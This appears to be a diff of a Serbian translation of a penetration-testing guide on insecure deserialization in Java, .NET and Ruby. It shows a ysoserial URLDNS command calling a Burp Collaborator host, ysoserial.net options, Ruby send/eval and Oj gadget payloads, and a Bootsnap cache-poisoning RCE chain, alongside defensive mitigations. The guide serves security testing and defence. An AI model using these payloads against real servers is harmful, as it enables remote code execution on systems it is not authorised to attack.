- Base64 obrazac koji označava prethodnu kompresiju: `H4sIA`.
- Web datoteke sa `.faces` ekstenzijom i `faces.ViewState` parametrom. Otkriće ovih obrazaca u web aplikaciji treba da podstakne ispitivanje kao što je detaljno opisano u [postu o Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md).
- Web datoteke sa ekstenzijom `.faces` i parametrom `faces.ViewState`. Otkriće ovih obrazaca u web aplikaciji treba da podstakne ispitivanje kao što je detaljno opisano u [postu o Java JSF ViewState Deserializaciji](java-jsf-viewstate-.faces-deserialization.md).
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
@ -412,27 +412,27 @@ Možete proveriti da li je instalirana neka aplikacija sa poznatim ranjivostima.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
```
Možete pokušati da **proverite sve biblioteke** za koje je poznato da su ranjive i za koje [**Ysoserial**](https://github.com/frohoff/ysoserial) može da pruži eksploataciju. Ili možete proveriti biblioteke navedene na [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
Možete pokušati da **proverite sve biblioteke** za koje se zna da su ranjive i za koje [**Ysoserial**](https://github.com/frohoff/ysoserial) može da pruži eksploataciju. Ili možete proveriti biblioteke navedene na [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
Takođe možete koristiti [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) da tražite moguće lance gadgeta koji se mogu iskoristiti.\
Kada pokrećete **gadgetinspector** (nakon što ga izgradite), ne obraćajte pažnju na mnoštvo upozorenja/grešaka kroz koje prolazi i pustite ga da završi. Zapišaće sve nalaze pod _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Molim vas, imajte na umu da **gadgetinspector neće kreirati eksploataciju i može ukazivati na lažne pozitivne rezultate**.
Kada pokrećete **gadgetinspector** (nakon što ga izgradite), ne obraćajte pažnju na mnoštvo upozorenja/grešaka kroz koje prolazi i pustite ga da završi. Zapišaće sve nalaze pod _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Molimo vas, imajte na umu da **gadgetinspector neće kreirati eksploataciju i može ukazivati na lažne pozitivne rezultate**.
#### Black Box Test
Koristeći Burp ekstenziju [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) možete identifikovati **koje biblioteke su dostupne** (pa čak i verzije). Sa ovom informacijom bi moglo biti **lakše odabrati payload** za eksploataciju ranjivosti.\
[**Pročitajte ovo da biste saznali više o GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
GadgetProbe je fokusiran na **`ObjectInputStream` deserializacije**.
GadgetProbe se fokusira na **`ObjectInputStream` deserializacije**.
Koristeći Burp ekstenziju [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) možete **identifikovati ranjive biblioteke** koje se mogu eksploatisati sa ysoserial i **iskoristiti** ih.\
[**Pročitajte ovo da biste saznali više o Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner je fokusiran na **`ObjectInputStream`** deserializacije.
Java Deserialization Scanner se fokusira na **`ObjectInputStream`** deserializacije.
Takođe možete koristiti [**Freddy**](https://github.com/nccgroup/freddy) da **otkrijete ranjivosti deserializacije** u **Burp**. Ovaj dodatak će otkriti **ne samo `ObjectInputStream`** povezane ranjivosti, već **takođe** ranjivosti iz **Json** i **Yml** biblioteka za deserializaciju. U aktivnom režimu, pokušaće da ih potvrdi koristeći sleep ili DNS payloads.\
[**Možete pronaći više informacija o Freddyu ovde.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
Takođe možete koristiti [**Freddy**](https://github.com/nccgroup/freddy) da **otkrijete ranjivosti** deserializacije u **Burp**. Ovaj dodatak će otkriti **ne samo `ObjectInputStream`** povezane ranjivosti, već **takođe** ranjivosti iz **Json** i **Yml** biblioteka za deserializaciju. U aktivnom režimu, pokušaće da ih potvrdi koristeći sleep ili DNS payloads.\
[**Više informacija o Freddyu možete pronaći ovde.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**Serialization Test**
Nije sve u proveri da li server koristi neku ranjivu biblioteku. Ponekad biste mogli biti u mogućnosti da **promenite podatke unutar serijalizovanog objekta i zaobiđete neke provere** (možda vam dodeli administratorske privilegije unutar web aplikacije).\
Ako pronađete java serijalizovani objekat koji se šalje web aplikaciji, **možete koristiti** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **da ispišete u čitljivijem formatu serijalizovani objekat koji se šalje**. Znajući koje podatke šaljete, biće lakše izmeniti ih i zaobići neke provere.
Ako pronađete java serijalizovani objekat koji se šalje web aplikaciji, **možete koristiti** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **da ispišete serijalizovani objekat u čitljivijem formatu**. Znajući koje podatke šaljete, biće lakše izmeniti ih i zaobići neke provere.
### **Exploit**
@ -440,7 +440,7 @@ Ako pronađete java serijalizovani objekat koji se šalje web aplikaciji, **mož
Glavni alat za eksploataciju Java deserializacija je [**ysoserial**](https://github.com/frohoff/ysoserial) ([**preuzmite ovde**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Takođe možete razmotriti korišćenje [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) koji će vam omogućiti da koristite složene komande (na primer, sa cevima).\
Imajte na umu da je ovaj alat **fokusiran** na eksploataciju **`ObjectInputStream`**.\
Počeo bih da koristim "URLDNS" payload **pre RCE** payload-a da testiram da li je injekcija moguća. U svakom slučaju, imajte na umu da možda "URLDNS" payload ne radi, ali drugi RCE payload može.
Počeo bih sa korišćenjem "URLDNS" payload-a **pre RCE** payload-a da testiram da li je injekcija moguća. U svakom slučaju, imajte na umu da možda "URLDNS" payload ne radi, ali drugi RCE payload može.
```bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
@ -541,7 +541,7 @@ Pročitajte više o ovoj Java JSON biblioteci: [https://www.alphabot.com/securit
### Labs
- Ako želite da testirate neke ysoserial payload-e, možete **pokrenuti ovu web aplikaciju**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
- Ako želite da testirate neke ysoserial payloads možete **pokrenuti ovu web aplikaciju**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
### Zašto
@ -567,7 +567,7 @@ private transient double margin; // declared transient
```
#### Izbegavajte serijalizaciju klase koja treba da implementira Serializable
U scenarijima gde određeni **objekti moraju da implementiraju `Serializable`** interfejs zbog hijerarhije klasa, postoji rizik od nenamerne deserializacije. Da biste to sprečili, osigurajte da ovi objekti nisu deserializabilni definišući `final` `readObject()` metodu koja dosledno baca izuzetak, kao što je prikazano u nastavku:
U scenarijima gde određeni **objekti moraju da implementiraju `Serializable`** interfejs zbog hijerarhije klasa, postoji rizik od nenamerne deserializacije. Da biste to sprečili, osigurajte da ovi objekti nisu deserializovani definisanjem `final` `readObject()` metode koja dosledno baca izuzetak, kao što je prikazano u nastavku:
```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
@ -601,7 +601,7 @@ return super.resolveClass(desc);
}
}
```
**Korišćenje Java agenta za poboljšanje bezbednosti** nudi alternativno rešenje kada modifikacija koda nije moguća. Ova metoda se uglavnom primenjuje za **stavljanje na crnu listu štetnih klasa**, koristeći JVM parametar:
**Korišćenje Java agenta za poboljšanje bezbednosti** nudi rešenje kada modifikacija koda nije moguća. Ova metoda se uglavnom primenjuje za **stavljanje na crnu listu štetnih klasa**, koristeći JVM parametar:
```
-javaagent:name-of-agent.jar
```
@ -645,7 +645,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
## JNDI Injection & log4Shell
Saznajte šta je **JNDI Injection, kako ga zloupotrebiti putem RMI, CORBA & LDAP i kako iskoristiti log4shell** (i primer ove ranjivosti) na sledećoj stranici:
Pronađite šta je **JNDI Injection, kako ga zloupotrebiti putem RMI, CORBA & LDAP i kako iskoristiti log4shell** (i primer ove ranjivosti) na sledećoj stranici:
{{#ref}}
jndi-java-naming-and-directory-interface-and-log4shell.md
@ -653,7 +653,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## JMS - Java Message Service
> **Java Message Service** (**JMS**) API je Java API za middleware orijentisan na poruke za slanje poruka između dva ili više klijenata. To je implementacija za rešavanje problema proizvođača i potrošača. JMS je deo Java Platforme, Enterprise Edition (Java EE), i definisan je specifikacijom razvijenom u Sun Microsystems, ali koju je od tada vodio Java Community Process. To je standard za poruke koji omogućava komponentama aplikacija zasnovanim na Java EE da kreiraju, šalju, primaju i čitaju poruke. Omogućava komunikaciju između različitih komponenti distribuirane aplikacije da bude labavo povezana, pouzdana i asinkrona. (Iz [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
> **Java Message Service** (**JMS**) API je Java API za middleware orijentisan na poruke za slanje poruka između dva ili više klijenata. To je implementacija za rešavanje problema proizvođača i potrošača. JMS je deo Java Platforme, Enterprise Edition (Java EE), i definisan je specifikacijom koju je razvila Sun Microsystems, ali kojom je od tada upravljao Java Community Process. To je standard za poruke koji omogućava komponentama aplikacija zasnovanim na Java EE da kreiraju, šalju, primaju i čitaju poruke. Omogućava komunikaciju između različitih komponenti distribuirane aplikacije da bude labavo povezana, pouzdana i asinkrona. (Iz [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
### Proizvodi
@ -696,7 +696,7 @@ Fokus treba biti na serijalizatorima koji omogućavaju da se tip odredi pomoću
#### BlackBox
Pretraga treba da bude usmerena na Base64 kodiranu string **AAEAAAD/////** ili bilo koji sličan obrazac koji bi mogao proći kroz deserializaciju na serverskoj strani, dajući kontrolu nad tipom koji treba deserializovati. Ovo može uključivati, ali nije ograničeno na, **JSON** ili **XML** strukture koje sadrže `TypeObject` ili `$type`.
Pretraga treba da bude usmerena na Base64 kodiranu string **AAEAAAD/////** ili bilo koji sličan obrazac koji bi mogao proći kroz deserializaciju na serverskoj strani, dajući kontrolu nad tipom koji će biti deserializovan. Ovo može uključivati, ali nije ograničeno na, **JSON** ili **XML** strukture koje sadrže `TypeObject` ili `$type`.
### ysoserial.net
@ -709,13 +709,13 @@ Glavne opcije **ysoserial.net** su: **`--gadget`**, **`--formatter`**, **`--outp
- **`--gadget`** se koristi za označavanje gadgeta koji će se zloupotrebiti (označava klasu/funkciju koja će se zloupotrebiti tokom deserializacije za izvršavanje komandi).
- **`--formatter`**, koristi se za označavanje metode za serijalizaciju eksploatacije (morate znati koju biblioteku koristi back-end za deserializaciju payload-a i koristiti istu za serijalizaciju).
- **`--output`** se koristi za označavanje da li želite eksploataciju u **raw** ili **base64** kodiranom formatu. _Napomena da će **ysoserial.net** **kodirati** payload koristeći **UTF-16LE** (kodiranje koje se koristi po defaultu na Windows-u), tako da ako dobijete raw i jednostavno ga kodirate iz linux konzole, mogli biste imati neke **probleme sa kompatibilnošću kodiranja** koji će sprečiti da eksploatacija funkcioniše ispravno (u HTB JSON kutiji payload je radio u oba UTF-16LE i ASCII, ali to ne znači da će uvek raditi)._
- **`--plugin`** ysoserial.net podržava dodatke za kreiranje **eksploatacija za specifične okvire** kao što je ViewState.
- **`--plugin`** ysoserial.net podržava plugine za kreiranje **eksploatacija za specifične okvire** kao što je ViewState.
#### Više ysoserial.net parametara
- `--minify` će pružiti **manji payload** (ako je moguće)
- `--raf -f Json.Net -c "anything"` Ovo će označiti sve gadgete koji se mogu koristiti sa datim formatter-om (`Json.Net` u ovom slučaju)
- `--sf xml` možete **označiti gadget** (`-g`) i ysoserial.net će tražiti formatere koji sadrže "xml" (ne razlikuje se po velikim i malim slovima)
- `--sf xml` možete **označiti gadget** (`-g`) i ysoserial.net će tražiti formate koji sadrže "xml" (ne razlikuje velika i mala slova)
**ysoserial primeri** za kreiranje eksploatacija:
```bash
@ -776,7 +776,7 @@ Da biste umanjili rizike povezane sa deserializacijom u .Net:
- **Izbegavajte dozvoljavanje podataka da definišu svoje tipove objekata.** Koristite `DataContractSerializer` ili `XmlSerializer` kada je to moguće.
- **Za `JSON.Net`, postavite `TypeNameHandling` na `None`:** `TypeNameHandling = TypeNameHandling.None`
- **Izbegavajte korišćenje `JavaScriptSerializer` sa `JavaScriptTypeResolver`.**
- **Ograničite tipove koji mogu biti deserializovani**, razumevajući inherentne rizike sa .Net tipovima, kao što je `System.IO.FileInfo`, koji može menjati svojstva server fajlova, potencijalno dovodeći do napada uskraćivanja usluge.
- **Ograničite tipove koji mogu biti deserializovani**, razumevajući inherentne rizike sa .Net tipovima, kao što je `System.IO.FileInfo`, koji može modifikovati svojstva server fajlova, potencijalno dovodeći do napada uskraćivanja usluge.
- **Budite oprezni sa tipovima koji imaju rizična svojstva**, kao što je `System.ComponentModel.DataAnnotations.ValidationException` sa svojim `Value` svojstvom, koje može biti iskorišćeno.
- **Sigurno kontrolišite instanciranje tipova** kako biste sprečili napadače da utiču na proces deserializacije, čineći čak i `DataContractSerializer` ili `XmlSerializer` ranjivim.
- **Implementirajte kontrole bele liste** koristeći prilagođeni `SerializationBinder` za `BinaryFormatter` i `JSON.Net`.
@ -872,7 +872,7 @@ require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
```
Drugi RCE lanac za eksploataciju Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
Drugi RCE lanac za iskorišćavanje Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
### Ruby .send() metoda
@ -883,7 +883,7 @@ Na primer, pozivanje eval i zatim ruby kod kao drugi parametar će omogućiti iz
<Object>.send('eval', '<user input with Ruby code>') == RCE
```
Pored toga, ako samo jedan parametar **`.send()`** kontroliše napadač, kao što je pomenuto u prethodnom tekstu, moguće je pozvati bilo koju metodu objekta koja **ne zahteva argumente** ili čiji argumenti imaju **podrazumevane vrednosti**.\
Za ovo, moguće je enumerisati sve metode objekta da bi se **pronašle neke zanimljive metode koje ispunjavaju te zahteve**.
Za to, moguće je enumerisati sve metode objekta da bi se **pronašle neke zanimljive metode koje ispunjavaju te zahteve**.
```ruby
<Object>.send('<user_input>')
@ -911,7 +911,7 @@ Proverite kako bi moglo biti moguće da [zagađujete Ruby klasu i zloupotrebljav
### Ruby _json pollution
Kada se šalju neki vrednosti u telu koje nisu hashable, poput niza, biće dodate u novu ključ pod nazivom `_json`. Međutim, moguće je da napadač takođe postavi u telo vrednost pod nazivom `_json` sa proizvoljnim vrednostima koje želi. Tada, ako backend, na primer, proverava istinitost parametra, ali zatim takođe koristi `_json` parametar da izvrši neku akciju, moglo bi doći do zaobilaženja autorizacije.
Kada se šalju neki vrednosti u telu koje nisu hashable, poput niza, biće dodate u novi ključ pod nazivom `_json`. Međutim, moguće je da napadač takođe postavi u telo vrednost pod nazivom `_json` sa proizvoljnim vrednostima koje želi. Tada, ako backend, na primer, proverava istinitost parametra, ali zatim takođe koristi `_json` parametar da izvrši neku akciju, moglo bi doći do zaobilaženja autorizacije.
Proverite više informacija na [Ruby _json pollution stranici](ruby-_json-pollution.md).
@ -957,7 +957,7 @@ U slučaju pokušaja zloupotrebe Oj, bilo je moguće pronaći gadget klasu koja
"password": "anypw"
}
```
Pored toga, otkriveno je da se prethodnom tehnikom u sistemu takođe kreira folder, što je zahtev za zloupotrebu drugog gadgeta kako bi se ovo pretvorilo u potpunu RCE sa nečim poput:
Pored toga, otkriveno je da se prethodnom tehnikom u sistemu takođe kreira folder, što je zahtev za zloupotrebu drugog uređaja kako bi se ovo pretvorilo u potpunu RCE sa nečim poput:
```json
{
"^o": "Gem::Resolver::SpecSpecification",
@ -989,7 +989,7 @@ Ispod je kratak pregled koraka detaljno opisanih u članku za iskorišćavanje r
- Identifikujte Ranjivost i Okruženje
Funkcionalnost učitavanja fajlova u Rails aplikaciji omogućava napadaču da arbitrarnu piše fajlove. Iako aplikacija radi sa ograničenjima (samo određeni direktorijumi kao što je tmp su zapisivi zbog Docker-ovog korisnika bez root privilegija), to i dalje omogućava pisanje u Bootsnap keš direktorijum (obično pod tmp/cache/bootsnap).
Funkcionalnost za upload fajlova u Rails aplikaciji omogućava napadaču da arbitrarnu piše fajlove. Iako aplikacija radi sa ograničenjima (samo određeni direktorijumi kao što su tmp su zapisivi zbog Docker-ovog korisnika bez root privilegija), to i dalje omogućava pisanje u Bootsnap keš direktorijum (obično pod tmp/cache/bootsnap).
- Razumite Bootsnap-ov Mehanizam Keširanja
@ -1001,24 +1001,24 @@ Napadač prvo bira ciljni fajl koji će verovatno biti učitan tokom pokretanja
- Izračunajte Putanju Keš Fajla
Replikovanjem Bootsnap-ovog FNV-1a 64-bitnog heš mehanizma, određuje se ispravna putanja keš fajla. Ovaj korak osigurava da je zlonamerni keš fajl postavljen tačno gde Bootsnap očekuje (npr. pod tmp/cache/bootsnap/compile-cache-iseq/).
Replikovanjem Bootsnap-ovog FNV-1a 64-bitnog heš mehanizma, određuje se ispravna putanja keš fajla. Ovaj korak osigurava da je maliciozni keš fajl postavljen tačno gde Bootsnap očekuje (npr. pod tmp/cache/bootsnap/compile-cache-iseq/).
- Kreirajte Zlonamerni Keš Fajl
- Kreirajte Maliciozni Keš Fajl
Napadač priprema payload koji:
- Izvršava arbitrane komande (na primer, pokreće id da prikaže informacije o procesu).
- Uklanja zlonamerni keš nakon izvršenja kako bi sprečio rekurzivnu zloupotrebu.
- Uklanja maliciozni keš nakon izvršenja kako bi sprečio rekurzivnu zloupotrebu.
- Učitava originalni fajl (npr. set.rb) kako bi izbegao rušenje aplikacije.
Ovaj payload se kompajlira u binarni Ruby kod i konkatenira sa pažljivo konstruisanim zaglavljem keš ključa (koristeći prethodno prikupljene metapodatke i ispravnu verziju za Bootsnap).
- Prepišite i Pokrenite Izvršenje
Koristeći ranjivost arbitrarnog pisanja fajlova, napadač piše kreirani keš fajl na izračunatu lokaciju. Zatim pokreće restart servera (pisanjem u tmp/restart.txt, koji nadgleda Puma). Tokom restarta, kada Rails zahteva ciljni fajl, zlonamerni keš fajl se učitava, što rezultira daljinskim izvršenjem koda (RCE).
Koristeći ranjivost arbitrarnog pisanja fajlova, napadač piše kreirani keš fajl na izračunatu lokaciju. Zatim pokreće restart servera (pisanjem u tmp/restart.txt, koji nadgleda Puma). Tokom restarta, kada Rails zahteva ciljni fajl, maliciozni keš fajl se učitava, što rezultira daljinskim izvršenjem koda (RCE).
### Ruby Marshal exploitation in practice (updated)
Tretirajte svaku putanju gde neprovereni bajtovi dolaze do `Marshal.load`/`marshal_load` kao RCE odredište. Marshal rekonstruiše arbitrane grafove objekata i pokreće biblioteke/gem callback-ove tokom materijalizacije.
Tretirajte svaku putanju gde neprovereni bajtovi dolaze do `Marshal.load`/`marshal_load` kao RCE odredište. Marshal rekonstruiše arbitrane grafove objekata i pokreće callback-ove biblioteka/gemova tokom materijalizacije.
- Minimal vulnerable Rails code path:
```ruby
@ -1046,24 +1046,24 @@ Gde se pojavljuje u pravim aplikacijama:
Industrijalizovano otkrivanje gadgeta:
- Grep za konstruktore, `hash`, `_load`, `init_with`, ili metode sa sporednim efektima pozvane tokom unmarshal
- Koristite CodeQL-ove Ruby nesigurne deserializacione upite za praćenje izvora → odredišta i otkrivanje gadgeta
- Koristite CodeQL-ove Ruby nesigurne deserializacione upite da pratite izvore → odredišta i otkrijete gadgete
- Validirajte sa javnim multi-format PoC-ima (JSON/XML/YAML/Marshal)
## References
## Reference
- Trail of Bits Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Trail of Bits Marshal ludilo: Kratak pregled Ruby deserializacionih eksploatacija: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam Ruby 2.x Univerzalni RCE Deserialization Gadget Lanac: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 Rails 3/4 Marshal lanac: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 nesigurna deserializacija): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI RCE putem Ruby on Rails Active Storage nesigurne deserializacije: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security Otkriće gadget lanaca u Rubylandu: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab Ruby nesigurna deserializacija (pomoć za upit): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab PoC repozitorijum: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- Luke Jahnke Ruby 3.4 univerzalni lanac: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke Gem::SafeMarshal bekstvo: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 izdanje: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby popravka PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits Revizija RubyGems.org (Marshal nalazi): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
{{#include ../../banners/hacktricks-training.md}}